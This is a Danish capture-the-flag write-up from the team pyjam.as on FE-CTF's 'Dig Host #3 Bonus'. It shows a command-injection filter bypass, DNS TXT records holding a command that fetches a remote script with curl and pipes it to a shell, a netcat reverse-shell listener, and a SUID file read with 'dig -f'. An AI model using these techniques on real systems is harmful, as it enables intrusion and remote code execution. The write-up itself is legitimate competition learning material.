pyjam.as utiltænkt løsning til FE-CTF
Til FE-CTF: Cyber Demon fandt vi en utiltænkt løsning til Dig Host #3 Bonus. Udfordringen var tænkt som en reversing opgave, men det er vi så dårlige til, at vi måtte finde en anden vej.
Opgave
Man ved fra forrige opgave, at servicen er sårbar overfor command injection. Der er et filter, der gør at man hverken kan indsætte mellemrum, $-tegn eller bindestreger.
Vi tror, at den tiltænkte løsning var at læse det modificerede dig-program ved command injection (f.eks. med ;cat<dig|base64), reverse engineer den og finde en flag-funktion eller lignende. Vores løsning virker også med et uændret dig-program.
Hvadend man sender til servicen, bliver givet til ./dig <dit input>. Hvis man sender ;ls, ser man at cwd indeholder:
/dig [host] bonus_flag dig dig_host_level3.php flag styles
Hvis man prøver at læse bonus_flag, får man intet tilbage.
Command Injection med mellemrum
Vi startede vores jagt ved at forsøge at finde en måde at komme uden om filteret. Særligt ville vi gerne sende mellemrum. Vi fandt ud af, at man kan pipe resultatet fra ./dig til /bin/sh. Hvis man f.eks. sender pyjam.as|/bin/sh bliver det til ./dig pyjam.as|/bin/sh.
Det kan selvfølgelig ikke bruges til særligt meget, for resultatet fra dig er ikke just et korrekt shell-program:
; <<>> DiG 9.16.1-Ubuntu <<>> pyjam.as ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11511 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;pyjam.as. IN A ;; ANSWER SECTION: pyjam.as. 60 IN A 89.150.130.29 ;; Query time: 107 msec ;; SERVER: 10.118.64.10#53(10.118.64.10) ;; WHEN: Sat Oct 29 19:31:55 UTC 2022 ;; MSG SIZE rcvd: 53
Vi skal heldigvis kun have den første linje til at være gyldig, før /bin/sh forsøger at eksekvere den. Ved at sætte mange A-records og pipe det gennem tail, kan vi få et resultat hvor vi styrer den første linje, f.eks. pyjam.as|tail|/bin/sh:
pyjam.as. 60 IN A 89.150.130.29 pyjam.as. 60 IN A 89.150.130.29 pyjam.as. 60 IN A 89.150.130.29 pyjam.as. 60 IN A 89.150.130.29 pyjam.as. 60 IN A 89.150.130.29 ;; Query time: 2736 msec ;; SERVER: 192.168.0.1#53(192.168.0.1) (UDP) ;; WHEN: Sat Oct 29 13:27:20 CEST 2022 ;; MSG SIZE rcvd: 59
Som /bin/sh forsøger at eksekvere:
/bin/sh: 1: pyjam.as.: not found /bin/sh: 2: pyjam.as.: not found /bin/sh: 3: pyjam.as.: not found /bin/sh: 4: pyjam.as.: not found /bin/sh: 5: pyjam.as.: not found /bin/sh: 7: Syntax error: ";;" unexpected
Hvis vi kan sætte en TXT record med bash command substitution, så kan vi eksekvere arbitrær kode!
pyjam.as. 60 IN TXT "$(echo helloworld)"
For at det skal virke, bliver vi nød til at bede om TXT-records, som man normalt gør med dig TXT pyjam.as, og det kræver mellemrum... MEN! vi fandt ud af at man kan få dig til at gøre det sådan her:
{TXT,pyjam.as}|tail|/bin/sh
Nu kan vi eksekvere kode uden filter, så mangler vi bare en måde at få resultatet tilbage.
Reverse-shell
Vi kan bruge vores code injection med mellemrum til at lave en reverse shell.
Vi stjal
skrev en i python og satte en masse TXT records:
pyjam.as. 60 IN TXT "$(curl http://pyjam.as:1234/sploit | /bin/sh)"
Så lyttede vi på vores reverse shell
$ nc -lvp 1337 listening on [any] 1337 ...
Sendte vores payload afsted:
{TXT,pyjam.as}|tail|/bin/sh
Bum! Så fik vi en shell på serveren.
connect to [192.168.0.57] from 141.203.154.34.bc.googleusercontent.com [34.154.203.141] 2051 /bin/sh: 0: can't access tty; job control turned off $ whoami user
Privilegie-eskalering
Nu kan vi køre ls -la og finde ud af, hvorfor vi ikke kunne læse bonus_flag:
$ ls -la total 844 drwxr-xr-x 1 nobody nogroup 4096 Oct 26 13:26 . drwxr-xr-x 1 nobody nogroup 4096 Oct 26 13:26 .. lrwxrwxrwx 1 nobody nogroup 7 Sep 22 16:47 bin -> usr/bin -r-------- 1 200000 nogroup 36 Oct 26 13:14 bonus_flag drwxr-xr-x 2 nobody nogroup 4096 Apr 15 2020 boot drwxr-xr-x 5 nobody nogroup 360 Oct 29 05:29 dev -rwsr-xr-x 1 200000 user 789072 Oct 26 13:14 dig ...
Vi kan se, at det kun er brugeren med UID "200000", som må læse bonus_flag.
Vi kan også se, at /dig-programmet er ejet af samme bruger, og har SUID bitten sat, hvilket betyder at /dig må læse bonus_flag.
Med /dig -h lærte vi om -f-muligheden:
-f filename (batch mode)
-f-muligheden gør at dig læser filen og forsøger at slå hver linje op i DNS, som lækker til stdout!
$ ./dig {-f,bonus_flag} ; <<>> DiG 9.16.1-Ubuntu <<>> flag{wait, i thought this was web!} ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 14415 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1 ...
✨ Yay, så er der flag!flag{wait, i thought this was web!} ✨